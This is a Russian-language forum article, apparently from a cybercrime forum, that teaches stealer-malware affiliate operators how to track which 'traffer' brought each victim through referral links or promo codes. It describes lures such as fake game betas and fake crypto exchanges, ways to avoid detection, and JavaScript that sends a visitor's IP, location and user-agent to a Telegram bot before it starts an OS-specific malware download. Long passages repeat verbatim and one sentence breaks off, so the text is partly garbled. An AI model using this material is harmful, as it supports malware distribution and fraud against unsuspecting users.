Всем привет!
Как я и обещал в предыдущей статье - рассказываю про реализацию реферальной системы для трафферов.
Но перед тем, как мы нырнем в омут с головой, по традиции - проблематика, задачи и решение.
ПРОБЛЕМАТИКА И ТЕОРИЯ
Коротко суть. Есть вы, есть у вас партнерка. Допустим стиллер и вы работаете со всеми желающими за процент, к примеру 70/30.
Как только трафферов становится больше, чем один, неизменно возникает вопрос - как понять от кого пришел лид?
Для удобства сразу договоримся, что будем называть трафферов/тех кто приводит нам лидов - партнеры (тут немного повеяло сетевым, но что же поделать, эти ребята впереди планеты всей в теме партнерок и реферальных систем).
Чтобы все было грамотно и по красоте, я освещу тему реферальных систем в целом, а затем сузим вектор конкретно до партнерок в нашей сфере и какие методы применимы конкретно к нам.
Глобально существует два основных, прижившихся и прошедших проверку временем метода. Это:
Как я и обещал в предыдущей статье - рассказываю про реализацию реферальной системы для трафферов.
Но перед тем, как мы нырнем в омут с головой, по традиции - проблематика, задачи и решение.
ПРОБЛЕМАТИКА И ТЕОРИЯ
Коротко суть. Есть вы, есть у вас партнерка. Допустим стиллер и вы работаете со всеми желающими за процент, к примеру 70/30.
Как только трафферов становится больше, чем один, неизменно возникает вопрос - как понять от кого пришел лид?
Для удобства сразу договоримся, что будем называть трафферов/тех кто приводит нам лидов - партнеры (тут немного повеяло сетевым, но что же поделать, эти ребята впереди планеты всей в теме партнерок и реферальных систем).
Чтобы все было грамотно и по красоте, я освещу тему реферальных систем в целом, а затем сузим вектор конкретно до партнерок в нашей сфере и какие методы применимы конкретно к нам.
Глобально существует два основных, прижившихся и прошедших проверку временем метода. Это:
- Промокоды
- Реферальные ссылки
Причем под "прошедшими проверку временем" я имею в виду не только дарк тематику. Ровно те же самые два метода применяются во всем партнерском маркетинге, не важно вы стил грузите или на ноготочки в инсте записываете людей.
Чуть подробнее про каждый из этих методов:
РЕФЕРАЛЬНЫЕ ССЫЛКИ
Очень старый и бородатый (почти как я) способ отслеживания и квалификации лидов. Используется на каждом шагу и повсеместно - начиная от ссылок на сайты электроники в любом обзоре техноблогера и заканчивая поисковыми запросами гугла. Да что уж греха таить, даже используемые всеми трафферами системы клоакинга тоже сверху донизу обмазаны реферальными ссылками.
Как узнать врага в лицо (если вдруг кто-то не знает, как выглядит реферальная ссылка).
Есть сайт, допустим абсолютно случайно это будет xttps://xss.pro/
Реф ссылки обычно зашивают в поисковые параметры, поэтому ссылка вида xttps://xss.pro/?ref=patrick уже будет реферальной - в параметре ref явно записана принадлежность лида к конкретному трафферу и это суперпросто понять как на фронте, так и на бэке.
Вдумчивому читателю становится очевидно, что таким образом можно передать не только никнейм партнера, но и любую другую интересующую нас информацию о лиде и источнике траффика. Просто подумайте, насколько мы по сути окружены реферальными ссылками, если для этого дела в интернетах даже есть отдельный термин - UTM-метки и даже существует общепринятый и повсеместно применяемый стандарт наименований этих самых поисковых параметров.
- utm_source - идентифицирует сайт, с которого отправляется трафик. Например, utm_source=Google
- utm_medium - идентифицирует рекламную модель (оплата за клик, оплата за показ, оплата за действие и так далее). Например, utm_medium=cpc
- utm_campaign - идентифицирует конкретную рекламную кампанию. Например, utm_campaign=xss_opened_registration
- utm_term - идентифицирует ключевую фразу из рекламной кампании, независимо от того, из какого источника был клик. Например, utm_term=buy++malware
- utm_content - идентифицирует конкретный элемент контента, на который кликнул пользователь перед переходом на сайт (типа кликнул на баннер, или на лого, или на рекламу из подвала, или на ссылку в тексте и так далее). Например, utm_content=logolink
Круто, правда? Люди заморочились, придумали даже небольшой стандарт чтобы все было структурировано, красиво и удобно в этих ваших интернетах.
Естественно, естественно будет честным с моей стороны сказать, что все забили на это большой и толстый, и сейчас в ютмки пихают абсолютно любую информацию, путают их назначение и вообще кто во что горазд. Но это все так, больше чтобы вы понимали откуда ноги растут.
Вернемся к насущному, наши реферальные ссылки.
Более изощренный вариант, который например можно применять если данные слишком длинные или их формат не позволяет передавать эти данные как есть - кодирование. Тут тоже, будем честны, кто во что горазд. Я видел base64, видел sha разных мастей, и даже видел попытку компрессии этих данных с помощью zlib. Тут больше добавить нечего. Как говорится, "каждый передает реферальные параметры как хочет".
Немного подытожу этот пункт и пройдусь по минусам. Кажется, что реферальные ссылки уже достаточно мощный инструмент, зачем изобретать что-то еще? Ну, как бы не так, есть два серьезных минуса, о которых я просто обязан упомянуть и которые во многих случаях являются решающими и перевешивают чашу весов "против" реферальных ссылок.
Во-первых, взглянем правде в глаза - реферальные ссылки в большинстве своем капец какие уродские. В какой-то момент люди решили, что надо засунуть вообще всю имеющуюся информацию о лиде в эти несчастные ютм. Это привело к тому, что появились даже целые сервисы - сокращаторы ссылок. Ну правда, вряд ли кто-то сидел-сидел и решил сократить слишком длинный домен. Нет. Он увидел ссылку с поисковыми параметрами, которая занимала десять строчек в тексте и понял, что пора что-то в этой жизни менять.
Вытекающая из этого проблема - все мы знаем уровень трастовости и отношение большинства людей к сокращаторам. Тут опять же, не буду говорить за всех, рассмотрим например конкретно криптоскам - да проще кругосветку под парусом совершить, чем заставить мамонта кликнуть по ссылки битли. По сути тут реферальные ссылки и сокращаторы только добавляют нам проблем.
Пункт номер полтора или хозяйке на заметку: есть определенный класс людей, которые принципиально не ходят по реферальным ссылкам и удаляют руками хвост линка - что ставит крест на всех ваших стараниях по отслеживанию и квалификации лидов, и с этим к сожалению ничего не поделаешь.
Ну и наконец, во-вторых. Реферальные ссылки - чисто технический подход к отслеживанию лидов, а это значит что задача разработчика - сделать так, чтобы эта ссылка дотянулась и дожила до момента, когда лид заполнил форму/оплатил/скачал софт. А это к сожалению, не всегда просто и не всегда вообще возможно.
Пример первый - пользователь заходит на нужную страницу сайта, естественно по реф ссылке. Но вместо того, чтобы скачать нашу малварь - он решает еще немного погулять по сайту, изучить вопросик так сказать. Если на этом моменте ваш разраб (или вы сами) не записали нужные данные в сессию/куки/локалсторадж, а также у вас не навешаны реф ссылки на все активные элементы сайта - лид из квалифицированного резко становится неквалифицированным.
Пример второй - та же самая ситуация из пункта один, только прогер проспался, ссылки навешаны, локалсторадж пишется. Пользователь заходит на сайт в режиме инкогнито, ходит бродит. Потом уходит совсем. Потом возвращается, но не по рефке, а домен руками вводит (он же его запомнил). Кто ты, мальчик? Откуда ты пришел и чей будешь?
Пример третий - настроено все что можно, пользователь отслеживается по всем возможным параметрам, включая фингерпринт браузера. Программист на 70% состоит из кофе и нервно дергает глазом. Знаете, что делает пользователь? Он заходит по вашей ссылке со стилером с мобилы. Естественно, ничего не запускается и он "попробует еще раз, из дома, с компа". Да-да, вы уже правильно догадались - дома он заходит с девайса, который никакого отношения не имеет к первому, с абсолютно другим айпишником, отпечатком браузера и без реферальной ссылки.
Как вы уже поняли, некоторые ситуации не представляется возможным отследить чисто технически. А в некоторых местах например, нельзя публиковать ссылки (в том же инстаграме или например на распечатанном листе тоже мало толку от реферальной ссылки).
Именно в этих случаях нам на помощь приходит второй вариант отслеживания лидов - промокоды.
ПРОМОКОДЫ
Горячо любимый многими партнерками и лично мной метод. Суть его в том, что за каждым партнером закрепляется свой промокод - абстрактная сущность, чаще всего представленная в виде цифробуквенной комбинации. По ней не обязательно давать скидку (но желательно что-то давать, иначе смысл промика теряется).
Например XSS-TOP - отличный, удобный для запоминания и валидный промокод.
Этот промокодмамонт пользователь может ввести в поле на сайте, сообщить голосом, отправить оператору в чате и вообще доставить его до нашей системы любым удобным способом.
Плюсы, которые сразу же, прямо с разбегу бросаются в глаза:
Во-первых, промокоды очевидно можно использовать в гораздо большем количестве мест, чем реферальные ссылки. Да что уж тут, промокоды можно использовать вообще везде, где есть возможность что-то написать, что естественно делает их отличным инструментом для работы в среде с жесткой цензурой ссылок.
Во-вторых, используя промокоды, мы как бы перекладываем часть ответственности за квалификацию лида на самого лида. То есть это уже не наша задача - пробросить, записать, отследить, навешать ссылки. Это уже задача пользователя - ввести свой промокод в нужном месте, иначе фигушки он что получит. Яркий пример современности - стиллер под видом игры, пользователей приглашают на бета-тест, доступ к которому можно получить только введя промокод на сайте. Реалистично, удобно, практично.
Как следует из названия, такие коды в основном используются в промо акциях и идеально подходят как инструмент дополнительной мотивации нашего пользователя. Мы можем повернуть и завернуть это так, как нам удобно.
Специальный код для доступа к бета-версии метаверс игры. Скидочный код для покупки майнингового оборудования. Купон на бесплатный фриспин в нашем крипто-онлайн-казино. Да что уж там, даже приватный ключ или сид фраза, которую мы дали мамонту чтобы он помог вывести деньги с нашей фейк биржи - даже это может выступать в роли промокода. И это только пара примеров из области криптоскама, которые лежат на поверхности. При желании, промокоды позволяют нам придумать безграничное количество схем и комбинаций для успешной работы. И еще раз напомню, промокод - это любая цифробуквенная комбинация. Она может быть любого формата и любой длины, так что тут реально все ограничено лишь вашей фантазией.
Дополнительный бонус от использования промокодов - ваша малварь не торчит известным местом наружу и сайты живут очень долго. Все самое интересное спрятано от глаз любопытных и доступно только человеку с промокодом.
Все было бы замечательно, но и тут не обошлось без минусов. Так уж вышло, что плюсы промокодов и являются прородителями их собственных минусов, и к сожалению от этого никуда не деться.
Во-первых, если пользователь потерял промокод, забыл его ввести, ввел неправильно, или любым другим способом напомнил нам почему искуственный интеллект в итоге победит - это финиш. Потому что нельзя отследить по промокоду человека без промокода, и с этим к сожалению ничего не поделаешь.
Во-вторых, если использовать промокоды втупую и в лоб - это выглядит подозрительно. Как пример, который я привожу уже третий раз за статью - промокод для доступа к бета-версии игры. В какой-то момент кто-то придумал эту схему и она работала очень круто. Действительно круто, потому что ввод кода для доступа - достаточно естественное действие.
Но потом появилось то, что у нас принятно называть "детект в рантайме" - использовать легенду с бета-версией и промокоды стала каждая первая команда, что привело к появлению огромного количество сайтов с одной и той же механикой. Как следствие: сотни постов на реддите и в твиттере, широкая осведомленность и поведенческий детект связки "введи код чтобы получить доступ к бета-версии игры". Нет, безусловно мамонты все еще ведутся, просто не так охотно и не так просто - и мы получаем примерно ту же историю что с сокращением через битли.
В-третьих, есть особенность из области маркетинга. Чем меньше целевых действий должен совершить пользователь до желаемого результата, тем выше по итогу конверсия в целевое действие (загрузку стиллера в нашем случае).
Оцените две цепочки действий, они практически идентичны, но в процентном соотношении имеют колоссальную разницу
Цепочка 1 (реферальная ссылка):
Перейти по ссылке -> Нажать на кнопку "Скачать" -> Запустить файл
Цепочка 2 (промокод):
Перейти по ссылке -> Нажать на кнопку "Скачать" -> Перейти обратно в мессенджер и скопировать промокод -> Вставить его в нужное поле -> Нажать на кнопку "Ок" -> Запустить файл
Три шага против шести, то есть увеличение длины цепочки в два раза. На объеме это будет приводить к существенным потерям в траффике и как следствие - к просадке конверсии. Частично нивелируется дополнительной вложенной мотивацией в промокод (если человек очень заинтересован, например вы ему ключ-пароль от биржи где деньги лежат дали, то конечно он пройдет все девять кругов ада в пути до желаемой цели и особенности UI/UX ему в этом не помешают).
Итого, что имеем - есть два основных способа узнать, где чей мамонт. У каждого из этих способов есть свои плюсы и минусы, и какой из них применять - решаете только вы, в зависимости от вашего проекта, легенды, особенностей реализации системы и источников траффика.
ЗАДАЧИ
Окей, с основной теоретической частью разобрались, пора переходить к практике.
Как я уже говорил, в момент когда я впервые столкнулся со сферой, известной сейчас как нфт-скам, там особо на этот счет никто не заморачивался. Да что уж там, я в этом году видел команды, которые на полном серьезе выясняют где чей мамонт "на глаз" - по айпи, версии системы и скринам переписки.
Хватит это терпеть.
Наша с вами задача на сегодня - реализовать оба варианта системы (и через реферальные ссылки, и через систему промокодов) и научиться внедрять их в наши проекты. Система будет поддерживать функционал создания промокодов, проверки кому он принадлежит, и уведомления в общий чат трафферов в телеграме (не топлю за телегу, можно с таким же успехом привязать дискорд, жабу, да хоть пуши - апи разные, принцип один и тот же).
В качестве языка программирования я буду использовать Javascript (ванильку на фронте и соответственно ноду с экспрессом на бэке).
Бонусом ко всему, покажу как можно реализовать разделение по командам внутри вашего проекта и организовать несколько независимых реферальных систем в рамках одного приложения, для того чтобы мы могли работать с командами траферов и система была двухуровневой, с разграничением прав.
Пристегнитесь, поехали.
РЕШЕНИЕ
Итак, как я уже сказал, мы будем реализовывать сегодня две системы: систему реферальных ссылок и систему промокодов. Но по сути, если вдумчивый читатель внимательно прочитал теоретическую часть, то в этом моменте он должен закричать: "Но ведь это одно и то же с технической точки зрения!". И будет совершенно прав.
Потому что с технической точки зрения, нашему бэку абсолютно без разницы, ему пришел код XSSTOP из формы, или в ссылке был хвост "?ref=xsstop". Алгоритм то один - взял код, сравнил с базой, отправил уведомление чей мамонт куда зашел.
Мы реализуем нашу реферальную систему таким образом, чтобы переключение ее из режима реф ссылок в режим промо кодов занимало считанные минуты - чтобы можно было на разные проекты внедрить разные варианты.
ФРОНТ
Начнем с фронтенда. Сразу обговорим: мы хотим максимальную совместимость, поэтому использовать будем ванильный js и соответственно будем импортировать его в наш сайт старым добрым тегом script.
Первый вариант, который я покажу - вариант с классическими реферальными ссылками. А чуть ниже сразу покажу, как его передалать в вариант с промо кодами. Изменения бэкэнда не потребуются, поэтому бэк мы сделаем один раз и навсегда.
Вариант 1
Создаем javascript файл, называем его promo.js
Основная наша функция в нем для удобства названа letMeScamYou.
Логика работы этой функции достаточно примитивна:
Естественно, естественно будет честным с моей стороны сказать, что все забили на это большой и толстый, и сейчас в ютмки пихают абсолютно любую информацию, путают их назначение и вообще кто во что горазд. Но это все так, больше чтобы вы понимали откуда ноги растут.
Вернемся к насущному, наши реферальные ссылки.
Более изощренный вариант, который например можно применять если данные слишком длинные или их формат не позволяет передавать эти данные как есть - кодирование. Тут тоже, будем честны, кто во что горазд. Я видел base64, видел sha разных мастей, и даже видел попытку компрессии этих данных с помощью zlib. Тут больше добавить нечего. Как говорится, "каждый передает реферальные параметры как хочет".
Немного подытожу этот пункт и пройдусь по минусам. Кажется, что реферальные ссылки уже достаточно мощный инструмент, зачем изобретать что-то еще? Ну, как бы не так, есть два серьезных минуса, о которых я просто обязан упомянуть и которые во многих случаях являются решающими и перевешивают чашу весов "против" реферальных ссылок.
Во-первых, взглянем правде в глаза - реферальные ссылки в большинстве своем капец какие уродские. В какой-то момент люди решили, что надо засунуть вообще всю имеющуюся информацию о лиде в эти несчастные ютм. Это привело к тому, что появились даже целые сервисы - сокращаторы ссылок. Ну правда, вряд ли кто-то сидел-сидел и решил сократить слишком длинный домен. Нет. Он увидел ссылку с поисковыми параметрами, которая занимала десять строчек в тексте и понял, что пора что-то в этой жизни менять.
Вытекающая из этого проблема - все мы знаем уровень трастовости и отношение большинства людей к сокращаторам. Тут опять же, не буду говорить за всех, рассмотрим например конкретно криптоскам - да проще кругосветку под парусом совершить, чем заставить мамонта кликнуть по ссылки битли. По сути тут реферальные ссылки и сокращаторы только добавляют нам проблем.
Пункт номер полтора или хозяйке на заметку: есть определенный класс людей, которые принципиально не ходят по реферальным ссылкам и удаляют руками хвост линка - что ставит крест на всех ваших стараниях по отслеживанию и квалификации лидов, и с этим к сожалению ничего не поделаешь.
Ну и наконец, во-вторых. Реферальные ссылки - чисто технический подход к отслеживанию лидов, а это значит что задача разработчика - сделать так, чтобы эта ссылка дотянулась и дожила до момента, когда лид заполнил форму/оплатил/скачал софт. А это к сожалению, не всегда просто и не всегда вообще возможно.
Пример первый - пользователь заходит на нужную страницу сайта, естественно по реф ссылке. Но вместо того, чтобы скачать нашу малварь - он решает еще немного погулять по сайту, изучить вопросик так сказать. Если на этом моменте ваш разраб (или вы сами) не записали нужные данные в сессию/куки/локалсторадж, а также у вас не навешаны реф ссылки на все активные элементы сайта - лид из квалифицированного резко становится неквалифицированным.
Пример второй - та же самая ситуация из пункта один, только прогер проспался, ссылки навешаны, локалсторадж пишется. Пользователь заходит на сайт в режиме инкогнито, ходит бродит. Потом уходит совсем. Потом возвращается, но не по рефке, а домен руками вводит (он же его запомнил). Кто ты, мальчик? Откуда ты пришел и чей будешь?
Пример третий - настроено все что можно, пользователь отслеживается по всем возможным параметрам, включая фингерпринт браузера. Программист на 70% состоит из кофе и нервно дергает глазом. Знаете, что делает пользователь? Он заходит по вашей ссылке со стилером с мобилы. Естественно, ничего не запускается и он "попробует еще раз, из дома, с компа". Да-да, вы уже правильно догадались - дома он заходит с девайса, который никакого отношения не имеет к первому, с абсолютно другим айпишником, отпечатком браузера и без реферальной ссылки.
Как вы уже поняли, некоторые ситуации не представляется возможным отследить чисто технически. А в некоторых местах например, нельзя публиковать ссылки (в том же инстаграме или например на распечатанном листе тоже мало толку от реферальной ссылки).
Именно в этих случаях нам на помощь приходит второй вариант отслеживания лидов - промокоды.
ПРОМОКОДЫ
Горячо любимый многими партнерками и лично мной метод. Суть его в том, что за каждым партнером закрепляется свой промокод - абстрактная сущность, чаще всего представленная в виде цифробуквенной комбинации. По ней не обязательно давать скидку (но желательно что-то давать, иначе смысл промика теряется).
Например XSS-TOP - отличный, удобный для запоминания и валидный промокод.
Этот промокод
Плюсы, которые сразу же, прямо с разбегу бросаются в глаза:
Во-первых, промокоды очевидно можно использовать в гораздо большем количестве мест, чем реферальные ссылки. Да что уж тут, промокоды можно использовать вообще везде, где есть возможность что-то написать, что естественно делает их отличным инструментом для работы в среде с жесткой цензурой ссылок.
Во-вторых, используя промокоды, мы как бы перекладываем часть ответственности за квалификацию лида на самого лида. То есть это уже не наша задача - пробросить, записать, отследить, навешать ссылки. Это уже задача пользователя - ввести свой промокод в нужном месте, иначе фигушки он что получит. Яркий пример современности - стиллер под видом игры, пользователей приглашают на бета-тест, доступ к которому можно получить только введя промокод на сайте. Реалистично, удобно, практично.
Как следует из названия, такие коды в основном используются в промо акциях и идеально подходят как инструмент дополнительной мотивации нашего пользователя. Мы можем повернуть и завернуть это так, как нам удобно.
Специальный код для доступа к бета-версии метаверс игры. Скидочный код для покупки майнингового оборудования. Купон на бесплатный фриспин в нашем крипто-онлайн-казино. Да что уж там, даже приватный ключ или сид фраза, которую мы дали мамонту чтобы он помог вывести деньги с нашей фейк биржи - даже это может выступать в роли промокода. И это только пара примеров из области криптоскама, которые лежат на поверхности. При желании, промокоды позволяют нам придумать безграничное количество схем и комбинаций для успешной работы. И еще раз напомню, промокод - это любая цифробуквенная комбинация. Она может быть любого формата и любой длины, так что тут реально все ограничено лишь вашей фантазией.
Дополнительный бонус от использования промокодов - ваша малварь не торчит известным местом наружу и сайты живут очень долго. Все самое интересное спрятано от глаз любопытных и доступно только человеку с промокодом.
Все было бы замечательно, но и тут не обошлось без минусов. Так уж вышло, что плюсы промокодов и являются прородителями их собственных минусов, и к сожалению от этого никуда не деться.
Во-первых, если пользователь потерял промокод, забыл его ввести, ввел неправильно, или любым другим способом напомнил нам почему искуственный интеллект в итоге победит - это финиш. Потому что нельзя отследить по промокоду человека без промокода, и с этим к сожалению ничего не поделаешь.
Во-вторых, если использовать промокоды втупую и в лоб - это выглядит подозрительно. Как пример, который я привожу уже третий раз за статью - промокод для доступа к бета-версии игры. В какой-то момент кто-то придумал эту схему и она работала очень круто. Действительно круто, потому что ввод кода для доступа - достаточно естественное действие.
Но потом появилось то, что у нас принятно называть "детект в рантайме" - использовать легенду с бета-версией и промокоды стала каждая первая команда, что привело к появлению огромного количество сайтов с одной и той же механикой. Как следствие: сотни постов на реддите и в твиттере, широкая осведомленность и поведенческий детект связки "введи код чтобы получить доступ к бета-версии игры". Нет, безусловно мамонты все еще ведутся, просто не так охотно и не так просто - и мы получаем примерно ту же историю что с сокращением через битли.
В-третьих, есть особенность из области маркетинга. Чем меньше целевых действий должен совершить пользователь до желаемого результата, тем выше по итогу конверсия в целевое действие (загрузку стиллера в нашем случае).
Оцените две цепочки действий, они практически идентичны, но в процентном соотношении имеют колоссальную разницу
Цепочка 1 (реферальная ссылка):
Перейти по ссылке -> Нажать на кнопку "Скачать" -> Запустить файл
Цепочка 2 (промокод):
Перейти по ссылке -> Нажать на кнопку "Скачать" -> Перейти обратно в мессенджер и скопировать промокод -> Вставить его в нужное поле -> Нажать на кнопку "Ок" -> Запустить файл
Три шага против шести, то есть увеличение длины цепочки в два раза. На объеме это будет приводить к существенным потерям в траффике и как следствие - к просадке конверсии. Частично нивелируется дополнительной вложенной мотивацией в промокод (если человек очень заинтересован, например вы ему ключ-пароль от биржи где деньги лежат дали, то конечно он пройдет все девять кругов ада в пути до желаемой цели и особенности UI/UX ему в этом не помешают).
Итого, что имеем - есть два основных способа узнать, где чей мамонт. У каждого из этих способов есть свои плюсы и минусы, и какой из них применять - решаете только вы, в зависимости от вашего проекта, легенды, особенностей реализации системы и источников траффика.
ЗАДАЧИ
Окей, с основной теоретической частью разобрались, пора переходить к практике.
Как я уже говорил, в момент когда я впервые столкнулся со сферой, известной сейчас как нфт-скам, там особо на этот счет никто не заморачивался. Да что уж там, я в этом году видел команды, которые на полном серьезе выясняют где чей мамонт "на глаз" - по айпи, версии системы и скринам переписки.
Хватит это терпеть.
Наша с вами задача на сегодня - реализовать оба варианта системы (и через реферальные ссылки, и через систему промокодов) и научиться внедрять их в наши проекты. Система будет поддерживать функционал создания промокодов, проверки кому он принадлежит, и уведомления в общий чат трафферов в телеграме (не топлю за телегу, можно с таким же успехом привязать дискорд, жабу, да хоть пуши - апи разные, принцип один и тот же).
В качестве языка программирования я буду использовать Javascript (ванильку на фронте и соответственно ноду с экспрессом на бэке).
Бонусом ко всему, покажу как можно реализовать разделение по командам внутри вашего проекта и организовать несколько независимых реферальных систем в рамках одного приложения, для того чтобы мы могли работать с командами траферов и система была двухуровневой, с разграничением прав.
Пристегнитесь, поехали.
РЕШЕНИЕ
Итак, как я уже сказал, мы будем реализовывать сегодня две системы: систему реферальных ссылок и систему промокодов. Но по сути, если вдумчивый читатель внимательно прочитал теоретическую часть, то в этом моменте он должен закричать: "Но ведь это одно и то же с технической точки зрения!". И будет совершенно прав.
Потому что с технической точки зрения, нашему бэку абсолютно без разницы, ему пришел код XSSTOP из формы, или в ссылке был хвост "?ref=xsstop". Алгоритм то один - взял код, сравнил с базой, отправил уведомление чей мамонт куда зашел.
Мы реализуем нашу реферальную систему таким образом, чтобы переключение ее из режима реф ссылок в режим промо кодов занимало считанные минуты - чтобы можно было на разные проекты внедрить разные варианты.
ФРОНТ
Начнем с фронтенда. Сразу обговорим: мы хотим максимальную совместимость, поэтому использовать будем ванильный js и соответственно будем импортировать его в наш сайт старым добрым тегом script.
Первый вариант, который я покажу - вариант с классическими реферальными ссылками. А чуть ниже сразу покажу, как его передалать в вариант с промо кодами. Изменения бэкэнда не потребуются, поэтому бэк мы сделаем один раз и навсегда.
Вариант 1
Создаем javascript файл, называем его promo.js
Основная наша функция в нем для удобства названа letMeScamYou.
JavaScript:
const letMeScamYou = async () => {
const losPromos = await (await fetch('https://your.site/getPromo')).json()
const promoCode = window.localStorage.getItem('mypromo')
if (promoCode == undefined) {
return
}
if (promoCode in losPromos) {
alert('Your download will start soon!')
const userData = await getUserData()
await tgNotify(`🔔 <b>Уведомление для @${losPromos[promoCode]}</b>\n\n👾 <b>Проект: </b>MY_TEST_PROJECT\n📡 <b>IP-адрес: </b>${userData.ip}\n🌍 <b>Локация: </b>${userData.city}, ${userData.country_name}\n🌐 <b>User-Agent: </b>${window.navigator.userAgent}`)
getDownloadByOs()
} else if (promoCode) {
alert("This promo code doesn't exist")
}
}
Логика работы этой функции достаточно примитивна:
- Запрашиваем словарь наших промокодов с бэка
- Получаем актуальный промокод пользователя из локалстора
- Если там ничего нет, дропаем выполнение функции. Это кто-то залетный, перешел по прямой ссылке. Возможно бот. Нам такие не интересны, им мы наш стиллер показывать не будем.
- Если же промокод присутствует в локалсторе и также совпадает с одним из промокодов в нашей системе - мы тыкаемся в ipapi для определения данных по юзеру, затем шлем уведомление в телеграм и инициализируем загрузку нашего вредоноса
Окей, как вы заметили - мы движемся сверху вниз и для корректной работы нам теперь нужно реализовать еще пару функций.
Первое - функция уведомлений в телеграм (я специально вынес ее на фронт, зачем - расскажу в конце статьи)
Никакой магии, обычный асинхронный фетч.
Все данные для работы с телеграммом вынесем для удобства редактирования в глобальные константы.
Далее у нас идет похожая функция - получение данных о пользователе, а именно нас тут интересуют его айпишник и геолокация (страна и город).
Далее, функция загрузки файла.
Я разбил ее на две функции. Первая определяет систему пользователя по юзерагенту и в зависимости от системы дает ему скачать нужный файл.
Если нужного файла нет (например у нас стиллеры только под винду и мак, а пользователь зашел с андроида или линукса) - выдает сообщение о том, что данная платформа на текущий момент времени не поддерживается.
Вторая функция - собственно реализация скачивания файла через инжект а-тега с нужной ссылкой в страницу с последующим кликом по этому элементу.
Ну и еще один важный момент - как вы уже заметили, мы читаем промокод из локалстора, но ни в какой момент времени его туда не пишем.
Реализация "на коленке" выглядит так: в наш js файл добавим небольшой кусок кода, который как раз таки будет брать код из поискового параметра и записывать его в локалстор, и разместим этот код на странице, на которую ведет наша реферальная ссылка. При переходе пользователя скрипт будет отрабатывать и писать код в локалстор, а дальше уже не важно пошел пользователь скачивать файл или гулять по сайту - код записан и останется там на все время.
Итак, вот такой вот файл у нас получился целиком:
Для того, чтобы все заработало, осталось сделать всего две вещи:
Импортировать наш файл в html документ с помощью тега script
Навесить на кнопку скачивания нашу функцию letMeScamYou (например, с помощью атрибута onclick)
Ну что же, с базовой реализацией закончили, пора показать, как подшаманить код чтобы это работало с классической системой промокодов.
Вариант 2
Делаем раз-два-три
Первое - функция уведомлений в телеграм (я специально вынес ее на фронт, зачем - расскажу в конце статьи)
JavaScript:
const tgNotify = async (msg) => {
await fetch(encodeURI(tgBaseUrl + msg))
}
Никакой магии, обычный асинхронный фетч.
Все данные для работы с телеграммом вынесем для удобства редактирования в глобальные константы.
Далее у нас идет похожая функция - получение данных о пользователе, а именно нас тут интересуют его айпишник и геолокация (страна и город).
JavaScript:
const getUserData = async () => {
const response = await fetch('https://ipapi.co/json')
const responseJSON = await response.json()
return responseJSON
}
Далее, функция загрузки файла.
Я разбил ее на две функции. Первая определяет систему пользователя по юзерагенту и в зависимости от системы дает ему скачать нужный файл.
Если нужного файла нет (например у нас стиллеры только под винду и мак, а пользователь зашел с андроида или линукса) - выдает сообщение о том, что данная платформа на текущий момент времени не поддерживается.
Вторая функция - собственно реализация скачивания файла через инжект а-тега с нужной ссылкой в страницу с последующим кликом по этому элементу.
JavaScript:
const getDownloadByOs = () => {
let osData = window.navigator.userAgent;
if (osData.search('Windows') !== -1) {
download('https://your.site/win.zip')
} else if (osData.search('Mac') !== -1) {
download('https://your.site/mac.zip')
} else {
alert('Version for your platform not available yet. Stay tuned!')
}
}
const download = (url) => {
const a = document.createElement('a')
a.href = url
a.download = url.split('/').pop()
document.body.appendChild(a)
a.click()
document.body.removeChild(a)
}
Ну и еще один важный момент - как вы уже заметили, мы читаем промокод из локалстора, но ни в какой момент времени его туда не пишем.
Реализация "на коленке" выглядит так: в наш js файл добавим небольшой кусок кода, который как раз таки будет брать код из поискового параметра и записывать его в локалстор, и разместим этот код на странице, на которую ведет наша реферальная ссылка. При переходе пользователя скрипт будет отрабатывать и писать код в локалстор, а дальше уже не важно пошел пользователь скачивать файл или гулять по сайту - код записан и останется там на все время.
JavaScript:
if (window.localStorage.getItem('mypromo') == undefined) {
var urlParams = new URLSearchParams(window.location.search)
var myParam = urlParams.get('ref')
if (myParam != null) {
window.localStorage.setItem('mypromo', myParam)
}
}
Итак, вот такой вот файл у нас получился целиком:
JavaScript:
const tgToken = 'YOUR_TG_TOKEN'
const tgChat = 'YOUR_TG_CHAT_ID'
const tgBaseUrl = `https://api.telegram.org/bot${tgToken}/sendMessage?chat_id=${tgChat}&disable_web_page_preview=true&parse_mode=html&text=`
const tgNotify = async (msg) => {
await fetch(encodeURI(tgBaseUrl + msg))
}
if (window.localStorage.getItem('mypromo') == undefined) {
var urlParams = new URLSearchParams(window.location.search)
var myParam = urlParams.get('ref')
if (myParam != null) {
window.localStorage.setItem('mypromo', myParam)
}
}
const letMeScamYou = async () => {
const losPromos = await (await fetch('https://your.site/getPromo')).json()
const promoCode = window.localStorage.getItem('mypromo')
if (promoCode == undefined) {
return
}
if (promoCode in losPromos) {
alert('Your download will start soon!')
const userData = await getUserData()
await tgNotify(`🔔 <b>Уведомление для @${losPromos[promoCode]}</b>\n\n👾 <b>Проект: </b>MY_TEST_PROJECT\n📡 <b>IP-адрес: </b>${userData.ip}\n🌍 <b>Локация: </b>${userData.city}, ${userData.country_name}\n🌐 <b>User-Agent: </b>${window.navigator.userAgent}`)
getDownloadByOs()
} else if (promoCode) {
alert("This promo code doesn't exist")
}
}
const getUserData = async () => {
const response = await fetch('https://ipapi.co/json')
const responseJSON = await response.json()
return responseJSON
}
const getDownloadByOs = () => {
let osData = window.navigator.userAgent;
if (osData.search('Windows') !== -1) {
download('https://your.site/win.zip')
} else if (osData.search('Mac') !== -1) {
download('https://your.site/mac.zip')
} else {
alert('Version for your platform not available yet. Stay tuned!')
}
}
const download = (url) => {
const a = document.createElement('a')
a.href = url
a.download = url.split('/').pop()
document.body.appendChild(a)
a.click()
document.body.removeChild(a)
}
Для того, чтобы все заработало, осталось сделать всего две вещи:
Импортировать наш файл в html документ с помощью тега script
HTML:
<script src="promo.js"></script>
Навесить на кнопку скачивания нашу функцию letMeScamYou (например, с помощью атрибута onclick)
HTML:
<button onclick="letMeScamYou()"></button>
Ну что же, с базовой реализацией закончили, пора показать, как подшаманить код чтобы это работало с классической системой промокодов.
Вариант 2
Делаем раз-два-три
- Удаляем if который отвечает за запись кода в локалстор
- Изменяем способ получения значения promoCode - теперь вместо локалстораджа мы будем дергать его из формы
- Функцию letMeScamYou вешаем на кнопку в модальном окне, а нужный id привязываем к элементу input нашей модалки (как сделать красивую модалку с использованием TailwindCSS можно прочитать в моей предыдущей статье)
JavaScript:
const tgToken = 'YOUR_TG_TOKEN'
const tgChat = 'YOUR_TG_CHAT_ID'
